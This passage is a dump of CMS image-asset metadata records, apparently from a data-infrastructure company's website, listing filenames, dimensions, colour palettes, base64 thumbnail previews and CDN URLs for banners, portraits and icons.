teSwatch","background":"#d6ae3b","foreground":"#000","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connection-defined.png","path":"images/sczeoy4w/production/08cb186ca143ef4951e73c4eee1a7676ca0f8018-1327x260.png","sha1hash":"08cb186ca143ef4951e73c4eee1a7676ca0f8018","size":10793,"uploadId":"0UvroaGiBqib9RfVHbkjuk1MDaIANutQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/08cb186ca143ef4951e73c4eee1a7676ca0f8018-1327x260.png"} {"_createdAt":"2023-11-10T08:38:07Z","_id":"image-08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954-png","_rev":"5NC6OkIr0nge6PtSR7wGub","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T08:38:07Z","assetId":"08d1e5d6d3c034249ac495dc46bc82a841f2ec7e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69%.200-f-:00~W8{xt%LD+00^$RQN3?a","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9255765199161425,"height":954,"width":1837},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACrUlEQVQokS2SWU9TCQCF+w/MaLH7Qu/Su/RKS4sUsVWnitRK6bQFBdzigqIGo0BlSku3AfEyTBvH0YyZBzLGF00kGrf4YPTFR//SZ0CfT87J+ZLPssuax7knS8B6Erkri2zL43dMYnNdoss7g803i637NvbAAk6xjEtexqs0EYwWUs8yolHBp1ZxSmXswl0su62/Ie85Qcw6xIGu4wzszWDYx3B5LmLzXcfRfQtH4A5OsbRT8ig1+pIbFKceUpxoUDjdIFPooPet7OSW3bYikv800eAUcfUsA9oFIto0qnELNVJCj5bRolWU3hqBUA01usrlG8949O8Wa/fb/NV+zIN/XpOf/A+f1sDS5ZkgFJ0hkSqRSlc4lqnx63CdVLrF8ZE10rkNhkfbJIbWUXpb9B36k/XORz59+srTp/+ztbXF5y/fmC+/Qo6YWBz+M/QnbpPJN8idWiU/YTI6bjI6tk5uvE1h4m9ypx5yOL1BMNKkd9CktfaW9x++sLm5yfPnL3jz7is3514i93awOLrPEE/eYaTQJDe+SrZ4j5HifU4WTNKjJkczJoOpe4QHWjvIUk+L7PhjSuUnLFXXWa53mJ17wqHhB/hD5jbyJKHYDQ6mSiSHyiSOLpE8tszhoQYHU03C/VUC+iKe4CLu4BJepY4WW2EwtcJwtkXqRIPwQA2/XsMdbGD5xT6Gxz+FoF5E0KcJaNeQjRmM2CxGbAExVMIlzu1o4xDL+LQ6Rr9J/5EOfUkTLdZECNXwKhWcUgWL1ZZH8BRRgucQtGnc0mVE/QKxA1eIDS6ghH/HLc9jF3546FPr6PtNook2++JrSD11uvUqHqWMU1r6MSh6i6jqeaTQVdzyFfz6JcLxa0Ti80hGCefPh9uD7uA2XouA8Qc+rYpLXsQhlrAL255W+A4DMIFO3nV6zQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f326c","foreground":"#fff","population":1.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142171","foreground":"#fff","population":12.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142171","foreground":"#fff","population":12.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b0d3","foreground":"#000","population":1.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7481c5","foreground":"#fff","population":0.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72718b","foreground":"#fff","population":4.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dda72b","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Avaya Chris Hill Social Banner.png","path":"images/sczeoy4w/production/08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954.png","sha1hash":"08d1e5d6d3c034249ac495dc46bc82a841f2ec7e","size":441491,"uploadId":"ckYvytTMKGLUOW9q9QoJYsAPfnpKb1lK","url":"https://cdn.sanity.io/images/sczeoy4w/production/08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954.png"} {"_createdAt":"2022-10-25T12:56:19Z","_id":"image-0926b289c261c2436467ed76e4c89acfa81b0095-1048x595-gif","_rev":"W78nexzvCoIeJ1nQtOYYPj","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T12:56:19Z","assetId":"0926b289c261c2436467ed76e4c89acfa81b0095","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"MgNAn{of00s:D%~qjZM{kCV@9Zay-;a|xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.761344537815126,"height":595,"width":1048},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBgcI/8QAIBAAAgICAgIDAAAAAAAAAAAAAQIDBQAEESExQQdSkv/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAMAwEAAhEDEQA/ANc+K9iawq9h7HYaZ1k4BZvWX5o9YRklk6H2zmVdmeDkQzSRg+QrEZI2G4R3tTfs4De3vLNLTbWOwmCLKwUBvA5wxASSSSeSfeGItf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#704640","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c782c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":35.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1cda2","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2a96d","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":35.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e95c5b","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"0926b289c261c2436467ed76e4c89acfa81b0095-1048x595.gif","path":"images/sczeoy4w/production/0926b289c261c2436467ed76e4c89acfa81b0095-1048x595.gif","sha1hash":"0926b289c261c2436467ed76e4c89acfa81b0095","size":360983,"uploadId":"KLNTXDfb6zdJcgvV1KjVNLy8Z3GXWt5C","url":"https://cdn.sanity.io/images/sczeoy4w/production/0926b289c261c2436467ed76e4c89acfa81b0095-1048x595.gif"} {"_createdAt":"2022-06-30T19:59:07Z","_id":"image-0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400-jpg","_rev":"CK1sLU2mnwa3vmbYWEcNi4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:19Z","assetId":"0effcd5f23f00553af5cfb84ed847ad02bac6c82","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VqK_2oe.tlW=Ri~qbHaej[Rk9ZazV?n%ogRPf5kDbHkB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":1400,"width":2100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHCP/EACIQAAEEAgEEAwAAAAAAAAAAAAECAwQFABExBhIiMiEjYf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECERIx/9oADAMBAAIRAxEAPwC0LTCjRnX3nyynWyoq+Biyisq6TYKYbnBxRHj2q5zPvUF5bl1anLB1bfaPrVxiatvbF2V4SC0vkLQNEYG5bVcHFww76a2XHjpUR7fpO8MhVb1Bbtwm0rnuuKA9jycMsQ0f/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#495054","foreground":"#fff","population":10.73,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#623722","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#495054","foreground":"#fff","population":10.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bfaf","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#caa989","foreground":"#000","population":0.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f7653","foreground":"#fff","population":3.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#905132","foreground":"#fff","population":6.45,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400.jpg","path":"images/sczeoy4w/production/0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400.jpg","sha1hash":"0effcd5f23f00553af5cfb84ed847ad02bac6c82","size":516159,"uploadId":"HsEKtdtAXk772V1BI24DO390XKl9YwFH","url":"https://cdn.sanity.io/images/sczeoy4w/production/0effcd5f23f00553af5cfb84ed847ad02bac6c82-2100x1400.jpg"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GLKk","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"092f95c7546f16488994272d57c0d36d60efb70b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADA0lEQVQ4jV1Vz2uUVxQ9M/HH1EWzMopNXKiIgisxCFZXUsWNIpGWahIn33mjggRpuitUqf0r3EhttVm2uFAQVNzpxlr/FJcu7pHz3v2a1MWZ+ea9O+f+Ovd+iDuAOkBLgEriWoIYBDFUh6mEnwdaBDSu96h2YyD8e4xGFiYkEOcArVTSURTMiTgl4jsRJeHnU8F6N6rOOwzUYbs67FCHrS0yk9jDBMMgZoI4o4LbIh6KeCriZeJJtLPbKjirgp0ivhBxTMR5EQdbijcbmVpUKyL+FPFMBQ9UcFcFP4gVd0X8Hu1uXQVXRRwJ4pbPRVxohI6QmFGpZH8bQawFcUIFsyr4MjEr4usgfhTxOG1/EnFfxCsRy42ww0hOs0VmsmURe7RSo27F9/ekNm8gYncQV0Ssi3gu4n0Qb1Sw1Hdrr4g7NU1izWSBJGjR945Ntk3EtIhDIlajRfYhiHcqWKxGNTXit8QJjTFVHfUyMqGV4G4S8yZyPYO4J+IfER9F/CviMsJyIY6L+MXSiA4zNTL+j6jHjuymG/BSBa+CeC3irYg/RJzu09gl4qg67K/1LPVsWLWZGk3CLSL2iTgrYkEFCyIuibgo4qR5kGQn89CXC2Hj9qd9laQXvoegRT5MpyMRB2owjWfgy9MON1rYr51Githpnc8J2Eg7S5HEu0RMslzH45o7SVzOgn7MAt9LAbvw8+FG9J3ejAmmrEkRD2ozS9XswF1crC0nPqQ4V1MS0ykRp7YhHZMfrr+/SoE/y1Gc06ojLFgS8SaI9xZpNLFatLu1jEFunc3inoqCPSLGOSmPRHwjYrttbbickd3PMbLR4/TuMZvVBNMVfnaapd7Z7q8knumd+uNCDvyt8KCX6mA9U3FjflXBWhiblwPxKBqZZ32oGxuEB1OsXkFeRV5JZ8J1aWJ9IuJFEC9yffns50zTC2UYV7O2i23Bbk1peEkO6kWHUS5R6/NbEUz42Wdz1cYy6huVaMuhh0euAHH9vxmuExOfvQLi+02atN0SECuAXyefAG5wjg96N9FHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d6647","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#882004","foreground":"#fff","population":0.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7d6647","foreground":"#fff","population":1.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c0c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f05858","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45454","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c04","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-refresh-cw.svg","path":"images/sczeoy4w/production/092f95c7546f16488994272d57c0d36d60efb70b-24x24.svg","sha1hash":"092f95c7546f16488994272d57c0d36d60efb70b","size":299,"uploadId":"fYoFiurvRltF2n46K2SABuxNopeYdXt7","url":"https://cdn.sanity.io/images/sczeoy4w/production/092f95c7546f16488994272d57c0d36d60efb70b-24x24.svg"} {"_createdAt":"2023-12-19T12:10:10Z","_id":"image-0945f553efadc10788a0e59edc227bf577bff4cd-1200x630-jpg","_rev":"sg5cBJWkRHo7pkcz4NyOzH","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T12:10:10Z","assetId":"0945f553efadc10788a0e59edc227bf577bff4cd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOOp[Zxwo#IV^+XTNH-NJEo#~WNeS4$y9a","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAIEBQYH/8QAIxAAAgICAQIHAAAAAAAAAAAAAQIDBAARBSExBhITQVFhkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMABP/EAB0RAAIDAAIDAAAAAAAAAAAAAAECAAMRExQhMUH/2gAMAwEAAhEDEQA/ANlu3eSS5KkJl8gfQ0vYfmMvGPN2+Cgo2IozNNKdMxU6H0ct8AAsuevb5wljSayVlRXUddMN5oa7iYEjQTkJqWtRlRsOe4ni+Safjq8sy+nI6Bip9sMirTsJ2AOgMMTqj4ZC0gYfM//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414454","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c80a0","foreground":"#fff","population":5.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c80a0","foreground":"#fff","population":5.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa1a9","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ee3f3","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af666b","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15a3d7","foreground":"#fff","population":0.49,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven-Free-Redis-database.jpg","path":"images/sczeoy4w/production/0945f553efadc10788a0e59edc227bf577bff4cd-1200x630.jpg","sha1hash":"0945f553efadc10788a0e59edc227bf577bff4cd","size":207277,"uploadId":"ZhIbcIJL3Ecsq29BYkM2mle6Rmti4a5N","url":"https://cdn.sanity.io/images/sczeoy4w/production/0945f553efadc10788a0e59edc227bf577bff4cd-1200x630.jpg"} {"_createdAt":"2023-03-30T17:02:22Z","_id":"image-094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327-png","_rev":"Fl2c73WgS9jO0pBHiMJBeq","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:22Z","assetId":"094dd3765c68fddb661ebf6dacc86e709debb7e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5840978593272173,"height":327,"width":1172},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqklEQVQYlW3POQ7CMBAFUN//FByChoqWggtQIiSCYzuQxNt4liAHLAWJp19ZmvljNXuv+77rHlr3LUb3xlhrrbPWTdOEiMsvZiZiFWN0w9O5YRynEGJKOSVIGXJLKcgsIssmwiLMogBK8MHPPoYIAPhFiMTr0B/IXJCRFCGWDFALq9wAFCKqjY3Iem0GvJtyueJNq7qpvjH9+tRu/ykiBSkOr3A8z7t9PJzedS4iAAOLbRsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e5e5e","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b42244","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e31e50","foreground":"#fff","population":1.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccacbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4879c","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05160","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e31e50","foreground":"#fff","population":1.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-external-endpoint-integration.png","path":"images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png","sha1hash":"094dd3765c68fddb661ebf6dacc86e709debb7e5","size":10458,"uploadId":"EolnQvOnY375SRDIzCX8KruoGE7aCINg","url":"https://cdn.sanity.io/images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png"} {"_createdAt":"2024-02-12T14:02:33Z","_id":"image-09b5c7d97f9ddabd062db02eef38437390c7384e-400x400-jpg","_rev":"pSrA0vvOUlEaOistjqvzJ7","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:02:33Z","assetId":"09b5c7d97f9ddabd062db02eef38437390c7384e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eeI5Y-%M?bxut7~qxu%MofWB9FayRjRjayM{WBt7j[j[xuj[xut7M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAcCAwQFBgj/xAAlEAACAgIABAcBAAAAAAAAAAABAgMEAAUGBxEiEhMUITFBYUL/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AlHm9rhd0lSCZ7K02nHniuO4rkaHhPU63ifUXOHaluGRJwkskv9qR9Zl8zub1a2sdHTws9cODJOT0JH5mkj5kJqNrr5p6zz0vAQqu3evX76YEpXag9Q3tjOfr8w+Hb0QnNvyS3ykg9xjA8123Z07j8nKbtqW1KrTN4jHGEX8GMYFiF2ZASTjGMD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":6.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":6.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":4.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878787","foreground":"#fff","population":2.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"pavol.jpeg","path":"images/sczeoy4w/production/09b5c7d97f9ddabd062db02eef38437390c7384e-400x400.jpg","sha1hash":"09b5c7d97f9ddabd062db02eef38437390c7384e","size":22762,"uploadId":"bKQmrk6FbR7uchUnPhwA1OE0mBoAHY0B","url":"https://cdn.sanity.io/images/sczeoy4w/production/09b5c7d97f9ddabd062db02eef38437390c7384e-400x400.jpg"} {"_createdAt":"2022-12-08T11:04:59Z","_id":"image-09d49251e245afe42d59294660b004c0fd9e2d0b-1920x1080-jpg","_rev":"6bVwl11wi6jiLEdheQavh4","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T11:05:52Z","altText":"Heikki Nousiainen","assetId":"09d49251e245afe42d59294660b004c0fd9e2d0b","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYIBP/EACQQAAIBAwIGAwAAAAAAAAAAAAECBAADEQUGBxITFCExCBVh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgED/8QAGhEAAgMBAQAAAAAAAAAAAAAAABEBAhMSMf/aAAwDAQACEQMRAD8ApHVrnb6bJu9RbRW2xDscAHFJfDnU/soLs8u1eJz5D5LHPulv5RTZMXZ0NI157SXZHK4U45hj0an3h3qMyPvLRVsSbqL3CrgMcYJ8inn0rMy0isTVelq9L8orYACBRVYEf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a4454","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c24","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c39e8e","foreground":"#000","population":1.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39e8e","foreground":"#000","population":1.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcbba6","foreground":"#000","population":1.48,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7836e","foreground":"#fff","population":0.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc7464","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Heikki-portrait-16_9-ratio.jpg","path":"images/sczeoy4w/production/09d49251e245afe42d59294660b004c0fd9e2d0b-1920x1080.jpg","sha1hash":"09d49251e245afe42d59294660b004c0fd9e2d0b","size":862966,"title":"Heikki Nousiainen portrait 16:9","uploadId":"ELQRWFcqaJyRcV97BnCvbHtQR99cyzLr","url":"https://cdn.sanity.io/images/sczeoy4w/production/09d49251e245afe42d59294660b004c0fd9e2d0b-1920x1080.jpg"} {"_createdAt":"2022-06-15T20:01:54Z","_id":"image-0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646-jpg","_rev":"CK1sLU2mnwa3vmbYWEcKQP","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:05Z","assetId":"0f1afaa71526d80e3856b925c0fca46c519cd8df","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNEnJ9631D}bM-60-U$AS0OQzrEfOk#=s?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8575851393188854,"height":646,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHCP/EACMQAAEEAgEDBQAAAAAAAAAAAAECAwQRAAUhBhIxBxMUFiL/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwX/xAAfEQACAgIBBQAAAAAAAAAAAAACAwABBDEFERIkUcH/2gAMAwEAAhEDEQA/AIdD1sCRFjLdSkfgE9rqQcbum9cGtSttxa2VzipEZBFmgOCrI/EJ99sWa7hmlelq+FDNAlKOLHjjK2HjNZehrXubvD4jHiwwPt6fZnTbokxNi+xJb7XUKIIrDGz1Fr7VJNDkA+MMAl1GFFVbgH45LYQWWrn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#693c40","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#972b04","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#693c40","foreground":"#fff","population":0.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c5bf","foreground":"#000","population":0.65,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc474","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad544e","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e008c4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646.jpg","path":"images/sczeoy4w/production/0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646.jpg","sha1hash":"0f1afaa71526d80e3856b925c0fca46c519cd8df","size":582354,"uploadId":"iPyS22TxXBIU36uYAMhStys6N9gkQM9s","url":"https://cdn.sanity.io/images/sczeoy4w/production/0f1afaa71526d80e3856b925c0fca46c519cd8df-1200x646.jpg"} {"_createdAt":"2024-04-18T08:03:10Z","_id":"image-0a3d6ca54ab4ff371e561d8d76cb00e2160af84e-2500x1313-jpg","_rev":"K1w697WALr3R6LR2gnGTsR","_type":"sanity.imageAsset","_updatedAt":"2024-04-18T08:03:10Z","assetId":"0a3d6ca54ab4ff371e561d8d76cb00e2160af84e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCB2T$1Z=C+@1lOWoz=f1K|p,-KS#hJ=$2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHAf/EACUQAAIBAwMCBwAAAAAAAAAAAAECBAAF